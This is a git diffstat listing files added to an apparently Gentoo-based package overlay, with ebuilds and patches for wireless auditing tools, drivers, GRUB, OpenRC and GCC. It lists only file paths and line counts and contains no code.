net-p2p/gnunet/gnunet-0.8.1.ebuild | 108 + net-p2p/gnunet/gnunet-0.8.1a.ebuild | 102 + net-p2p/gnunet/gnunet-0.8.1b.ebuild | 102 + net-p2p/gnunet/gnunet-0.9.0.ebuild | 78 + net-p2p/gnunet/gnunet-0.9.0_pre0.ebuild | 84 + net-p2p/gnunet/gnunet-0.9.0_pre1.ebuild | 84 + net-p2p/gnunet/gnunet-0.9.0_pre2.ebuild | 83 + net-p2p/gnunet/gnunet-0.9.1.ebuild | 78 + net-p2p/gnunet/gnunet-0.9.2.ebuild | 79 + net-p2p/gnunet/gnunet-0.9.3.ebuild | 81 + net-p2p/gnunet/gnunet-0.9.5a.ebuild | 82 + net-p2p/gnunet/metadata.xml | 9 + net-p2p/kamailio/Manifest | 1 + net-p2p/kamailio/kamailio-9999.ebuild | 29 + net-p2p/sopcast-bin/Manifest | 3 + net-p2p/sopcast-bin/metadata.xml | 10 + net-p2p/sopcast-bin/sopcast-bin-3.2.6.ebuild | 35 + net-p2p/wuala/Manifest | 2 + net-p2p/wuala/wuala-0_pre20120716.ebuild | 39 + net-print/hplip/Manifest | 22 + .../hplip/files/hplip-3.10.9-cve-2010-4267.patch | 11 + net-print/hplip/files/hplip-3.11.1-desktop.patch | 18 + net-print/hplip/files/hplip-3.11.1-htmldir.patch | 109 + .../hplip/files/hplip-3.11.10-udev-attrs.patch | 207 + net-print/hplip/files/hplip-3.9.10-browser.patch | 38 + net-print/hplip/files/hplip-3.9.12-cupsddk.patch | 23 + net-print/hplip/files/hplip-3.9.12-systray.patch | 22 + net-print/hplip/hplip-3.12.10.ebuild | 244 + net-print/hplip/hplip-3.12.10a-r1.ebuild | 262 + net-print/hplip/hplip-3.12.10a.ebuild | 251 + net-print/hplip/hplip-3.12.11-r1.ebuild | 263 + net-print/hplip/hplip-3.12.11.ebuild | 263 + net-print/hplip/hplip-3.12.4.ebuild | 240 + net-print/hplip/hplip-3.12.9-r1.ebuild | 243 + net-wireless/afrag/Manifest | 2 + net-wireless/afrag/afrag-0.1.ebuild | 24 + net-wireless/aircrack-ng/Manifest | 12 + net-wireless/aircrack-ng/aircrack-ng-1.1-r6.ebuild | 82 + net-wireless/aircrack-ng/aircrack-ng-9999.ebuild | 90 + .../files/aircrack-ng-1.1-respect_LDFLAGS.patch | 91 + .../files/airdrop-ng-oui-path-fix.patch | 13 + .../files/airodump-ng-oui-update-path-fix.patch | 12 + .../files/airodump-ng.ignore-negative-one.v4.patch | 121 + .../files/changeset_r1921_backport.diff | 60 + .../files/diff-wpa-migration-mode-aircrack-ng.diff | 872 ++ net-wireless/aircrack-ng/files/eapol_fix.patch | 20 + .../aircrack-ng/files/ignore-channel-1-error.patch | 65 + net-wireless/aircrack-ng/files/pic-fix.patch | 175 + net-wireless/aircrackgui-m4/Manifest | 2 + .../aircrackgui-m4/aircrackgui-m4-0.7.0.ebuild | 48 + net-wireless/airoscript/Manifest | 1 + net-wireless/airoscript/airoscript-9999.ebuild | 29 + net-wireless/airpwn/Manifest | 2 + net-wireless/airpwn/airpwn-1.4-r1.ebuild | 38 + net-wireless/b43-openfwwf/Manifest | 2 + net-wireless/b43-openfwwf/b43-openfwwf-5.2.ebuild | 21 + net-wireless/b43-tools/Manifest | 1 + net-wireless/b43-tools/b43-tools-9999.ebuild | 72 + net-wireless/bluemaho/Manifest | 4 + net-wireless/bluemaho/bluemaho-090417-r1.ebuild | 39 + net-wireless/bluemaho/files/bluemaho | 4 + net-wireless/bluemaho/files/btftp-libxml.patch | 21 + net-wireless/broadcom-firmware-downloader/Manifest | 5 + .../broadcom-firmware-downloader-0.1-r2.ebuild | 29 + .../broadcom-firmware-downloader-0.2.ebuild | 29 + net-wireless/broadcom-firmware-installer/Manifest | 2 + .../broadcom-firmware-installer-0.1-r3.ebuild | 51 + .../broadcom-firmware-installer-0.2.ebuild | 51 + net-wireless/bt-audit/Manifest | 2 + net-wireless/bt-audit/bt-audit-0.1.1-r1.ebuild | 30 + net-wireless/btscanner/Manifest | 2 + net-wireless/btscanner/btscanner-2.1-r4.ebuild | 39 + net-wireless/compat-wireless-builder/Manifest | 50 + .../compat-wireless-builder-3.3.6.ebuild | 217 + .../compat-wireless-builder-3.4_rc3.ebuild | 217 + .../compat-wireless-builder-3.4_rc7.ebuild | 217 + net-wireless/compat-wireless-builder/files | 1 + net-wireless/compat-wireless/Manifest | 107 + .../compat-wireless-2.6.32.8.ebuild | 80 + .../compat-wireless-2.6.33-r1.ebuild | 86 + .../compat-wireless-2.6.34-r2.ebuild | 105 + .../compat-wireless-2.6.35-r1.ebuild | 147 + .../compat-wireless/compat-wireless-2.6.36.ebuild | 137 + .../compat-wireless-2.6.37-r7.ebuild | 139 + .../compat-wireless-2.6.37-r8.ebuild | 147 + .../compat-wireless-2.6.38.2-r1.ebuild | 142 + .../compat-wireless-2.6.39-r1.ebuild | 137 + .../compat-wireless/compat-wireless-3.0.ebuild | 170 + .../compat-wireless/compat-wireless-3.1.1.ebuild | 176 + .../compat-wireless/compat-wireless-3.2.5.ebuild | 176 + .../compat-wireless/compat-wireless-3.2.ebuild | 176 + .../compat-wireless/compat-wireless-3.3-r1.ebuild | 170 + .../compat-wireless/compat-wireless-3.3.ebuild | 169 + .../compat-wireless-3.4_rc1-r1.ebuild | 159 + .../compat-wireless/compat-wireless-3.4_rc1.ebuild | 164 + .../compat-wireless/compat-wireless-3.4_rc3.ebuild | 156 + .../compat-wireless/compat-wireless-3.5-r1.ebuild | 170 + .../compat-wireless/compat-wireless-3.5.4.ebuild | 173 + .../compat-wireless/compat-wireless-3.5.ebuild | 169 + .../compat-wireless/compat-wireless-3.5_rc3.ebuild | 155 + .../compat-wireless/compat-wireless-3.6.2.ebuild | 179 + .../compat-wireless-3.6.6-r1.ebuild | 181 + .../compat-wireless/compat-wireless-3.6.6.ebuild | 179 + .../compat-wireless/compat-wireless-3.6_rc5.ebuild | 172 + .../compat-wireless/compat-wireless-3.6_rc7.ebuild | 179 + .../0001-ath5k-retain-promiscuous-setting.patch | 48 + .../4000_mac80211_2.6.28-rc4-wl_frag+ack_v3.patch | 27 + ...0211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch | 17 + .../files/4004_zd1211rw-2.6.28.patch | 37 + .../4005_ath5k-frequency-expansion-2.6.30.patch | 132 + .../files/4007_ath5k-pass-failed-crc.patch | 15 + .../4012_openwrt-b43-disable_qos_when_openfw.patch | 12 + ...able-disable-of-mac80211-packet-injection.patch | 37 + .../4099-2.6.32-rc7-mac80211-security-fixes.patch | 159 + .../compat-wireless/files/WEXT-EXT-nuts.patch | 71 + .../files/ath9k_htc_ethtool_driver.patch | 37 + .../compat-wireless/files/ath_ignore_eeprom.patch | 70 + .../compat-wireless/files/ath_regd_optional.patch | 39 + net-wireless/compat-wireless/files/blinky.patch | 11 + .../files/channel-negative-one-maxim.patch | 38 + .../compat-wireless/files/compat-chaos.patch | 166 + .../compat-wireless/files/compat-sched.patch | 10 + .../files/compat-wireless-3.5-grsec.patch | 398 + .../files/compat-wireless-3.5-grsec2.patch | 33 + .../files/compat-wireless-3.5.4-grsec.patch | 9033 +++++++++++++++++++ .../files/compat-wireless-3.6-grsec.patch | 51 + .../files/compat-wireless-3.6-zc-grsec.patch | 9057 ++++++++++++++++++++ .../compat-wireless-3.6.6-grsec-warnings.patch | 177 + .../files/compat-wireless-3.6.6-grsec.patch | 8363 ++++++++++++++++++ .../compat-wireless/files/driver-debug.patch | 120 + .../failed_ath5k-frequency-chaos-2.6.28.patch | 152 + .../files/failed_ieee80211_inject-2.6.22.patch | 26 + .../files/failed_linux-wlanng-kernel-2.6.28.patch | 299 + ...inoco-remove-all-which-are-in-hostap-HACK.patch | 80 + .../files/fix-typos-2.6.35_rc2.patch | 24 + .../files/fix-typos-2.6.36_rc5.patch | 12 + .../files/force-enable-new-ralink-2.6.38_rc3.patch | 25 + .../force-enable-new-ralink-pci-2.6.36-rc5.patch | 14 + .../files/force-enable-new-ralink-pci.patch | 16 + .../files/force-enable-new-ralink.patch | 16 + .../files/ipw2200-inject.2.6.36.patch | 116 + .../files/ipw2200-inject.3.4.6.patch | 120 + .../files/iwlwifi-5000-exp-firmware.patch | 13 + .../compat-wireless/files/johill-negone-paul.patch | 75 + .../compat-wireless/files/johill-negone.patch | 84 + net-wireless/compat-wireless/files/led-oops.patch | 22 + .../files/leds-disable-strict-3.6.6.patch | 30 + .../files/leds-disable-strict.patch | 64 + .../compat-wireless/files/leds-disable.patch | 56 + .../files/linville-aircrack-ng.patch | 61 + .../mac80211.compat08082009.wl_frag+ack_v1.patch | 27 + net-wireless/compat-wireless/files/make-make.patch | 12 + ...o-remove-all-which-are-in-hostap-OFFICIAL.patch | 191 + .../compat-wireless/files/reinette-test2.patch | 36 + ...l8187-mac80211-injection-speed-2.6.30-rc3.patch | 30 + .../compat-wireless/files/super_secret_patch.diff | 453 + .../files/ubnt-wifi-station-ext2.patch | 20 + .../compat-wireless/files/whynot-2.6.31.patch | 129 + .../compat-wireless/files/whynot-2.6.32.patch | 18 + net-wireless/compat-wireless/files/whynot.patch | 122 + .../files/wl1251-inject-2.6.37.patch | 1685 ++++ net-wireless/compat-wireless/metadata.xml | 7 + net-wireless/cowpatty/Manifest | 7 + net-wireless/cowpatty/cowpatty-4.3-r2.ebuild | 28 + net-wireless/cowpatty/cowpatty-4.6-r4.ebuild | 28 + .../cowpatty/files/cowpatty-4.3-fixup2.patch | 221 + .../cowpatty/files/cowpatty-4.3-hashfix.patch | 12 + .../cowpatty/files/cowpatty-4.6-fixup14.patch | 346 + net-wireless/crda/Manifest | 4 + net-wireless/crda/crda-1.1.0-r1.ebuild | 39 + net-wireless/crda/crda-1.1.1.ebuild | 29 + net-wireless/dedected/Manifest | 3 + net-wireless/dedected/dedected-9999.ebuild | 55 + net-wireless/dedected/files/99-dect.rules | 2 + net-wireless/dedected/files/load-dect.sh | 8 + net-wireless/desknfc/Manifest | 1 + net-wireless/desknfc/desknfc-9999.ebuild | 20 + net-wireless/fern-wifi-cracker/Manifest | 4 + .../fern-wifi-cracker/fern-wifi-cracker-1.6.ebuild | 52 + .../fern-wifi-cracker/files/fern-wifi-cracker | 3 + .../files/fern-wifi-cracker.desktop | 11 + net-wireless/gqrx/Manifest | 1 + net-wireless/gqrx/gqrx-9999.ebuild | 27 + net-wireless/gr-air-modes/Manifest | 3 + net-wireless/gr-air-modes/files/modes.py | 6 + net-wireless/gr-air-modes/files/rtl_modes.py | 2 + net-wireless/gr-air-modes/gr-air-modes-9999.ebuild | 43 + net-wireless/grimwepa/Manifest | 5 + net-wireless/grimwepa/files/grimwepa.conf | 12 + net-wireless/grimwepa/files/grimwepa.desktop | 14 + net-wireless/grimwepa/files/grimwepa.sh | 3 + net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild | 36 + net-wireless/haraldscan/Manifest | 4 + .../haraldscan/files/haraldscan-maclist-path.patch | 11 + net-wireless/haraldscan/haraldscan-0.41.ebuild | 59 + net-wireless/horst/Manifest | 2 + net-wireless/horst/horst-3.0.ebuild | 31 + net-wireless/hostapd/ChangeLog | 579 ++ net-wireless/hostapd/Manifest | 14 + net-wireless/hostapd/files/cui-20120417.patch | 451 + net-wireless/hostapd/files/cui-20120717.patch | 451 + .../hostapd/files/hostapd-0.7.3-karma.patch | 481 ++ .../hostapd/files/hostapd-1.0-karma-0.2.patch | 1199 +++ net-wireless/hostapd/files/hostapd-1.0-karma.patch | 465 + .../hostapd/files/hostapd-1.0-libnl_path_fix.patch | 24 + .../hostapd/files/hostapd-1.0-tls_length_fix.patch | 48 + net-wireless/hostapd/files/hostapd-conf.d | 9 + net-wireless/hostapd/files/hostapd-init.d | 50 + net-wireless/hostapd/hostapd-1.0-r4.ebuild | 207 + net-wireless/hostapd/hostapd-1.0-r5.ebuild | 207 + net-wireless/hostapd/metadata.xml | 21 + .../intel-wimax-binary-supplicant/Manifest | 4 + .../files/50-intel-wimax-binary-supplicant | 1 + .../files/install-to-usr-lib.patch | 12 + .../intel-wimax-binary-supplicant-1.4.0.ebuild | 29 + net-wireless/intel-wimax-network-service/Manifest | 4 + .../intel-wimax-network-service/files/wimax | 21 + .../intel-wimax-network-service-1.4.0-r1.ebuild | 37 + .../intel-wimax-network-service-1.4.0.ebuild | 34 + net-wireless/intel-wimax-tools/Manifest | 4 + .../intel-wimax-tools-1.4.2.1.ebuild | 35 + .../intel-wimax-tools-1.4.2.ebuild | 35 + net-wireless/ipw2200/ChangeLog | 396 + net-wireless/ipw2200/Manifest | 5 + net-wireless/ipw2200/files/digest-ipw2200-1.2.0 | 3 + .../ipw2200/files/ipw2200-1.2.0-inject.patch | 98 + .../ipw2200/files/ipw2200-1.2.0-modverdir.patch | 20 + net-wireless/ipw2200/ipw2200-1.2.0.ebuild | 87 + net-wireless/karmetasploit/Manifest | 4 + net-wireless/karmetasploit/files/karma.rc | 80 + .../karmetasploit/files/karmeta-dhcpd.conf | 16 + net-wireless/karmetasploit/files/karmeta.sh | 34 + .../karmetasploit/karmetasploit-0.1-r2.ebuild | 26 + net-wireless/killerbee/Manifest | 1 + net-wireless/killerbee/killerbee-9999.ebuild | 47 + net-wireless/kismet-dect/Manifest | 1 + net-wireless/kismet-dect/kismet-dect-9999.ebuild | 38 + net-wireless/libfreefare/Manifest | 2 + net-wireless/libfreefare/libfreefare-0.3.2.ebuild | 21 + net-wireless/linux-wlan-ng-modules/Manifest | 3 + .../files/digest-linux-wlan-ng-modules-0.2.5 | 3 + .../files/linux-wlan-0.2.3.packet.injection.patch | 303 + .../linux-wlan-ng-modules-0.2.5.ebuild | 90 + net-wireless/lorcon-old/Manifest | 1 + net-wireless/lorcon-old/lorcon-old-9999.ebuild | 25 + net-wireless/lorcon/Manifest | 1 + net-wireless/lorcon/lorcon-9999.ebuild | 95 + net-wireless/mdk/Manifest | 3 + net-wireless/mdk/files/fix_wids_mdk3_v5.patch | 21 + net-wireless/mdk/mdk-3.6.ebuild | 37 + net-wireless/mfoc/Manifest | 3 + net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch | 217 + net-wireless/mfoc/mfoc-0.10.2.ebuild | 28 + net-wireless/nfcd/Manifest | 1 + net-wireless/nfcd/nfcd-9999.ebuild | 27 + net-wireless/op25/Manifest | 1 + net-wireless/op25/op25-9999.ebuild | 76 + net-wireless/prism54/ChangeLog | 49 + net-wireless/prism54/Manifest | 5 + net-wireless/prism54/files/digest-prism54-20050724 | 3 + .../prism54/files/prism54-svn-20050724.patch | 13 + net-wireless/prism54/metadata.xml | 10 + net-wireless/prism54/prism54-20050724.ebuild | 48 + net-wireless/ralink-firmware/Manifest | 5 + .../ralink-firmware-20090213.ebuild | 32 + net-wireless/reaver/ChangeLog | 10 + net-wireless/reaver/Manifest | 12 + .../files/0001-wpscrack-big-endian-fixes.patch | 565 ++ ...rent-directory-for-storing-and-loading-se.patch | 53 + ...-use-less-useless-spaces-in-output-to-fit.patch | 38 + .../reaver/files/0004-wash-probe-request.patch | 31 + .../reaver/files/0005-soreau-show-status-r2.patch | 97 + .../reaver/files/0005-soreau-show-status.patch | 97 + net-wireless/reaver/metadata.xml | 11 + net-wireless/reaver/reaver-1.4-r1.ebuild | 38 + net-wireless/reaver/reaver-1.4-r2.ebuild | 40 + net-wireless/reaver/reaver-1.4-r3.ebuild | 40 + net-wireless/rfidtool/Manifest | 2 + net-wireless/rfidtool/rfidtool-0.01.ebuild | 26 + net-wireless/sdrsharp/ChangeLog | 12 + net-wireless/sdrsharp/Manifest | 4 + net-wireless/sdrsharp/files/sdrsharp | 2 + net-wireless/sdrsharp/metadata.xml | 12 + net-wireless/sdrsharp/sdrsharp-9999.ebuild | 43 + net-wireless/ska/Manifest | 2 + net-wireless/ska/files/digest-ska-0.2 | 3 + net-wireless/ska/ska-0.2.ebuild | 23 + net-wireless/virtualradar-bin/Manifest | 5 + net-wireless/virtualradar-bin/files/virtualradar | 2 + .../virtualradar-bin/virtualradar-bin-1.0.5.ebuild | 27 + .../virtualradar-bin/virtualradar-bin-9999.ebuild | 26 + net-wireless/wepcrackgui/Manifest | 1 + net-wireless/wepcrackgui/wepcrackgui-9999.ebuild | 67 + net-wireless/wifitap/Manifest | 2 + net-wireless/wifitap/wifitap-0.4.0-r4.ebuild | 42 + net-wireless/wifite/Manifest | 10 + net-wireless/wifite/files/wifite-2-noupgrade.patch | 11 + net-wireless/wifite/files/wifite-noupgrade.patch | 21 + net-wireless/wifite/metadata.xml | 19 + net-wireless/wifite/wifite-0.84.ebuild | 45 + net-wireless/wifite/wifite-2.0_beta_p10.ebuild | 42 + net-wireless/wifite/wifite-2.85-r1.ebuild | 48 + net-wireless/wifite/wifite-2.85.ebuild | 47 + net-wireless/wireless-regdb/Manifest | 13 + .../files/extra-monitor-20090817.patch | 51 + .../files/extra-monitor-20091125.patch | 51 + .../wireless-regdb/files/extra-monitor-debug.patch | 34 + .../wireless-regdb/files/extra-monitor.patch | 19 + .../wireless-regdb-20090130-r1.ebuild | 38 + .../wireless-regdb/wireless-regdb-20090309.ebuild | 38 + .../wireless-regdb/wireless-regdb-20090817.ebuild | 37 + .../wireless-regdb-20091125-r1.ebuild | 39 + .../wireless-regdb/wireless-regdb-20091125.ebuild | 39 + overlay.xml | 15 + profiles/categories | 15 + profiles/repo_name | 1 + repository.xml | 19 + sci-libs/gsl-empty/Manifest | 6 + sci-libs/gsl-empty/files/cblas.pc.in | 12 + sci-libs/gsl-empty/files/eselect.cblas.gsl | 5 + sci-libs/gsl-empty/files/gsl-1.15-cblas.patch | 286 + sci-libs/gsl-empty/gsl-empty-1.15.ebuild | 112 + sci-libs/gsl-empty/metadata.xml | 22 + sci-libs/gsl/Manifest | 1 + sci-libs/gsl/files/cblas.pc.in | 12 + sci-libs/gsl/files/eselect.cblas.gsl | 5 + sci-libs/gsl/files/gsl-1.15-cblas.patch | 286 + sci-libs/gsl/gsl-1.15.ebuild | 109 + sci-libs/gsl/metadata.xml | 22 + sets/X | 46 + sets/claws-plugins | 17 + sets/e17 | 4 + sets/entropy | 11 + sets/entropy-no-kde | 10 + sets/fluxbox | 3 + sets/gnome | 15 + sets/gst-plugins | 7 + sets/gst-plugins-extra | 5 + sets/ime-fonts | 4 + sets/ime-fonts-support | 7 + sets/intel-kernels | 4 + sets/lxde | 5 + sets/packagekit | 4 + sets/rogentos-artwork | 8 + sets/wireless | 12 + sets/xfce | 10 + sys-apps/baselayout/Manifest | 11 + sys-apps/baselayout/baselayout-2.0.3-r1.ebuild | 243 + sys-apps/baselayout/baselayout-2.1.ebuild | 245 + sys-apps/baselayout/baselayout-2.2.ebuild | 265 + .../files/baselayout-1.12.14-iproute.patch | 18 + .../files/baselayout-2.0.1-proc_touch.patch | 16 + .../files/baselayout-2.0.3-slash-run-dir.patch | 12 + .../files/baselayout-rogentos-os-release.patch | 16 + sys-apps/baselayout/metadata.xml | 5 + sys-apps/gpu-detector/Manifest | 5 + sys-apps/gpu-detector/files/gpu-configuration | 776 ++ sys-apps/gpu-detector/gpu-detector-2.5.0-r3.ebuild | 39 + sys-apps/gpu-detector/gpu-detector-2.6-r2.ebuild | 38 + sys-apps/gpu-detector/gpu-detector-2.6-r6.ebuild | 37 + sys-apps/gpu-detector/gpu-detector-3.ebuild | 24 + sys-apps/lsb-release/Manifest | 4 + .../files/lsb-release-rogentos-version.patch | 12 + sys-apps/lsb-release/lsb-release-1.4.ebuild | 38 + sys-apps/lsb-release/metadata.xml | 19 + sys-apps/openrc/Manifest | 7 + sys-apps/openrc/Reasons | 5 + ...e-systemd-cgroup-from-the-current-process.patch | 34 + ...pport-EFI-variable-access-in-3.10-kernels.patch | 41 + ...openrc-0.5.3-disable_warns_until_migrated.patch | 16 + ...openrc-0.6.1-fix-clockskew-error-handling.patch | 12 + .../openrc/files/openrc-0.6.1-network-syntax.patch | 14 + sys-apps/openrc/files/openrc-0.8.3-ccwgroup.patch | 57 + .../files/openrc-0.8.3-deprecation_warning.patch | 33 + ...-not-print-error-if-tmplog-cannot-be-read.patch | 25 + sys-apps/openrc/files/openrc-9999-pause.patch | 29 + .../openrc/files/openrc-enable-interactive-2.patch | 11 + .../openrc/files/openrc-enable-interactive.patch | 11 + sys-apps/openrc/files/openrc-netmount-fix.patch | 11 + .../openrc-protect-rcsvcdir-for-symlink.patch | 30 + .../openrc/files/openrc-sabayon-config-2.patch | 31 + sys-apps/openrc/files/openrc-sabayon-config.patch | 35 + sys-apps/openrc/files/openrc.logrotate | 7 + sys-apps/openrc/files/start-stop-daemon.pam | 2 + sys-apps/openrc/metadata.xml | 5 + sys-apps/openrc/openrc-0.10.5.ebuild | 471 + sys-apps/openrc/openrc-0.11.8.ebuild | 512 ++ sys-apps/openrc/openrc-0.12.4.ebuild | 356 + sys-apps/openrc/openrc-0.12_pre1-r1.ebuild | 518 ++ sys-apps/openrc/openrc-0.12_pre1-r2.ebuild | 520 ++ sys-apps/openrc/openrc-0.12_pre1.ebuild | 515 ++ sys-apps/openrc/openrc-0.8.2-r1.ebuild | 458 + sys-apps/openrc/openrc-0.8.3-r1.ebuild | 459 + sys-apps/openrc/openrc-0.9.8.1.ebuild | 457 + sys-apps/openrc/openrc-0.9.9.3.ebuild | 461 + sys-boot/grub-handler/Manifest | 2 + sys-boot/grub-handler/files/grub-handler | 318 + sys-boot/grub-handler/grub-handler-0.2-r6.ebuild | 20 + sys-boot/grub/Manifest | 4 + sys-boot/grub/files/00_fonts | 14 + sys-boot/grub/files/05_distro_theme | 51 + sys-boot/grub/files/grub-0.97-gfxmenu-v8.patch | 1003 +++ sys-boot/grub/files/grub-0.97-uuid.patch | 5406 ++++++++++++ sys-boot/grub/files/grub-0.97-uuid_doc.patch | 38 + sys-boot/grub/files/grub-1.96-genkernel.patch | 19 + sys-boot/grub/files/grub-1.97-genkernel.patch | 28 + sys-boot/grub/files/grub-1.97-hostdisk.patch | 60 + sys-boot/grub/files/grub-1.97-vga-deprecated.patch | 12 + .../grub-1.97-wallpaper-settings-support.patch | 15 + .../grub-1.98-add-legacy-rootfs-detection.patch | 83 + .../grub-1.98-follow-dev-mapper-symlinks.patch | 25 + .../grub-1.98-genkernel-initramfs-single.patch | 11 + sys-boot/grub/files/grub-1.98-genkernel.patch | 28 + .../grub-1.98-wallpaper-settings-support.patch | 15 + .../grub/files/grub-1.99-disable-floppies.patch | 28 + sys-boot/grub/files/grub-1.99-genkernel.patch | 11 + .../files/grub-1.99-vga-deprecated-not-yet.patch | 14 + sys-boot/grub/files/grub-1.99-vga-deprecated.patch | 12 + .../grub-1.99-wallpaper-settings-support.patch | 15 + .../files/grub-1.99-workaround-raid-bios-bug.patch | 17 + sys-boot/grub/files/grub-2.00-20_linux_xen.patch | 14 + sys-boot/grub/files/grub-2.00-compression.patch | 84 + sys-boot/grub/files/grub-2.00-config-quoting.patch | 113 + sys-boot/grub/files/grub-2.00-dmraid.patch | 28 + sys-boot/grub/files/grub-2.00-freebsd.patch | 382 + .../grub-2.00-genkernel-initramfs-single.patch | 11 + sys-boot/grub/files/grub-2.00-hardcoded-awk.patch | 15 + sys-boot/grub/files/grub-2.00-no-gets.patch | 22 + .../files/grub-2.00-os-prober-efi-system.patch | 27 + sys-boot/grub/files/grub-2.00-parallel-make.patch | 46 + sys-boot/grub/files/grub-2.00-rogentos-patch.patch | 10 + .../files/grub-2.00-secureboot-user-sign-2.patch | 64 + .../files/grub-2.00-secureboot-user-sign.patch | 42 + sys-boot/grub/files/grub-2.00-texinfo.patch | 16 + sys-boot/grub/files/grub-2.00-tftp-endian.patch | 24 + .../files/grub-2.00-vga-deprecated-not-yet.patch | 13 + .../grub-2.00-wallpaper-settings-support.patch | 14 + .../grub-2.00-zfs-feature-flag-support-r1.patch | 893 ++ .../files/grub-2.00-zfs-feature-flag-support.patch | 1017 +++ sys-boot/grub/files/grub.conf.gentoo | 16 + sys-boot/grub/files/grub.default-2 | 57 + sys-boot/grub/files/grub2-default | 62 + sys-boot/grub/files/grub2-default-1.99 | 49 + sys-boot/grub/files/splash.xpm.gz | Bin 0 -> 6251 bytes .../01_uuids_and_lvm_dont_play_along_nicely.diff | 14 + .../902_boot_blocklist_hack.diff | 20 + .../ubuntu-upstream-1.98/904_disable_floppies.diff | 28 + .../ubuntu-upstream-1.98/956_loopback_root.diff | 139 + .../ubuntu-upstream-1.98/957_handle_loopback.diff | 45 + .../958_linux_no_loopmount.diff | 20 + .../ubuntu-upstream-1.98/960_raid_virtio.diff | 158 + .../ubuntu-upstream-1.98/961_dmraid_probe.diff | 650 ++ .../ubuntu-upstream-1.98/962_no_device_map.diff | 112 + .../ubuntu-upstream-1.98/968_hostdisk_speedup.diff | 310 + .../ubuntu-upstream-1.98/969_lvm_raid_probe.diff | 227 + .../970_fix_locale_installation.diff | 55 + .../files/ubuntu-upstream-1.98/971_langpacks.diff | 30 + .../ubuntu-upstream-1.98/974_drive_probe.diff | 23 + .../ubuntu-upstream-1.98/975_hostdisk_hd.diff | 114 + .../01_uuids_and_lvm_dont_play_along_nicely.diff | 14 + .../ubuntu-upstream/904_disable_floppies.diff | 28 + sys-boot/grub/grub-0.97-r22.ebuild | 245 + sys-boot/grub/grub-1.99-r2.ebuild | 319 + sys-boot/grub/grub-2.00-r2.ebuild | 376 + sys-boot/grub/grub-2.00-r3.ebuild | 376 + sys-boot/grub/grub-2.00-r4.ebuild | 286 + sys-boot/grub/grub-2.00-r5.ebuild | 286 + sys-boot/grub/grub-2.00.ebuild | 369 + sys-boot/plymouth-extras/Manifest | 2 + .../plymouth-extras-0.8.8-r1.ebuild | 52 + sys-boot/plymouth/Manifest | 1 + .../files/plymouth-rogentos-defaults.patch | 9 + sys-boot/plymouth/metadata.xml | 26 + sys-boot/plymouth/plymouth-0.8.8-r2.ebuild | 80 + sys-boot/plymouth/plymouth-0.8.8-r4.ebuild | 89 + sys-boot/plymouth/plymouth-0.8.9_pre2.ebuild | 87 + sys-devel/base-gcc/Manifest | 26 + sys-devel/base-gcc/base-gcc-4.5.3-r2.ebuild | 176 + sys-devel/base-gcc/base-gcc-4.6.2.ebuild | 184 + sys-devel/base-gcc/base-gcc-4.6.3.ebuild | 210 + sys-devel/base-gcc/base-gcc-4.7.2.ebuild | 210 + sys-devel/base-gcc/files/awk/fixlafiles.awk | 314 + .../base-gcc/files/awk/fixlafiles.awk-no_gcc_la | 335 + sys-devel/base-gcc/files/fix_libtool_files.sh | 72 + sys-devel/base-gcc/files/gcc-configure-LANG.patch | 64 + .../base-gcc/files/gcc-configure-texinfo.patch | 16 + sys-devel/base-gcc/files/gcc-spec-env.patch | 42 + sys-devel/base-gcc/files/mkinfodir | 233 + sys-devel/base-gcc/files/pro-police-docs.patch | 74 + sys-devel/base-gcc/metadata.xml | 31 + sys-devel/gcc/Manifest | 29 + sys-devel/gcc/files/awk/fixlafiles.awk | 314 + sys-devel/gcc/files/awk/fixlafiles.awk-no_gcc_la | 335 + sys-devel/gcc/files/c89 | 20 + sys-devel/gcc/files/c99 | 21 + sys-devel/gcc/files/fix_libtool_files.sh | 72 + sys-devel/gcc/files/gcc-4.6.2-fix-ICE-on-arm.patch | 24 + sys-devel/gcc/files/gcc-configure-LANG.patch | 64 + sys-devel/gcc/files/gcc-configure-texinfo.patch | 16 + sys-devel/gcc/files/gcc-spec-env.patch | 42 + sys-devel/gcc/files/mkinfodir | 233 + sys-devel/gcc/files/pro-police-docs.patch | 74 + sys-devel/gcc/gcc-4.5.3-r2.ebuild | 113 + sys-devel/gcc/gcc-4.6.2.ebuild | 132 + sys-devel/gcc/gcc-4.6.3.ebuild | 159 + sys-devel/gcc/gcc-4.7.2.ebuild | 159 + sys-devel/gcc/metadata.xml | 31 + sys-devel/ucpp/ChangeLog | 24 + sys-devel/ucpp/Manifest | 8 + sys-devel/ucpp/files/tune.h.patch | 28 + sys-devel/ucpp/metadata.xml | 6 + sys-devel/ucpp/ucpp-1.3.3.ebuild | 28 + sys-devel/ucpp/ucpp-1.3.ebuild | 34 + sys-devel/ucpp/ucpp-9999.ebuild | 34 + sys-devel/ucpp/ucpp/ChangeLog | 24 + sys-fs/vdfuse/ChangeLog | 5 + sys-fs/vdfuse/Manifest | 3 + sys-fs/vdfuse/vdfuse-82a.ebuild | 70 + sys-kernel/compat-drivers-alx/Manifest | 27 + .../compat-drivers-alx-3.8_rc5.ebuild | 178 + .../compat-drivers-alx-3.8_rc7.ebuild | 186 + .../files/3.8-grsec/00-read-only.patch | 23 + .../files/3.8-grsec/01-read-only.patch | 12 + .../files/3.8-grsec/02-read-only-ath.patch | 240 + .../files/3.8-grsec/03-read-only-memory.patch | 11 + .../files/3.8-grsec/04-read-only-brcm80211.patch | 11 + .../files/3.8-grsec/05-read-only-i915.patch | 17 + .../files/3.8-grsec/06-read-only-radeon.patch | 58 + .../files/3.8-grsec/07-read-only-wl1251.patch | 11 + .../files/3.8-grsec/08-read-only-ti.patch | 11 + .../files/3.8-grsec/09-read-only-nouveau.patch | 33 + .../3.8-grsec/20-version-disagrement-iwlwifi.patch | 139 + ...0211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch | 17 + .../files/4004_zd1211rw-2.6.28.patch | 37 + .../files/ath_regd_optional.patch | 39 + .../compat-drivers-3.7_rc1_p6-grsec-warnings.patch | 34 + .../files/compat-drivers-3.7_rc1_p6-grsec.patch | 8365 ++++++++++++++++++ .../files/compat-drivers-3.8-ath6kl.patch | 37 + .../files/compat-drivers-3.8-bt_tty.patch | 37 + .../files/compat-drivers-3.8-driver-select | 845 ++ .../files/ipw2200-inject.3.4.6.patch | 120 + .../files/leds-disable-strict-3.6.6.patch | 30 + .../files/leds-disable-strict-3.7_rc1_p6.patch | 30 + .../files/leds-disable-strict-3.8.patch | 30 + 